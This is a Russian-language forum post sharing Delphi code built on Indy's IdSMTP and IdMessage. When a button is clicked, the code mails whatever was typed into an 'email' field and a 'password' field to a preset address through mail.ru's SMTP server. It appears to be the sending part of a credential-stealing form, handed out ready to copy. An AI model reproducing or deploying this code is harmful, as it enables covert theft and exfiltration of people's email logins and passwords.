Кстате код ТСа не совсем полный, отсутствует одна очень важная строчка,
помните когда отправку писем сделали с atlogin?
ага)
вот)
ловите полный код, прежде чем его копировать, киньте на форму idsmtp и idmessage во вкладках indy

весь код копируем на баттан1
idsmtp1.host :=' '; //сервер отправки у mail.ru - smtp.mail.ru
idsmtp1.port:=25; // порт, у каждого разный но многие используют 25 и 2525
idsmtp1.username:=' '; //логин на почтовом сервере (без @mail.ru)например
idsmtp1.password:='*****'; //паролец от мыла с которого будет идти отчёт
idSMTP1.AuthenticationType:=atLogin; // ОЧЕНЬ ВАЖНАЯ СТРОКА
idmessage1.Body.text:='мыло ' + sedit1.text + ' пароль ' + sedit2.text; //в письмо идёт инфа из едит1 и едит2
idmessage1.from.Text:=' '; //emai который отправляет письмо
idmessage1.recipients.EMailAddresses:=' '; //emai который получает письмо
idmessage1.subject:='тест'; //тема письма
idsmtp1.connect();
idsmtp1.send(idmessage1);
idsmtp1.disconnect;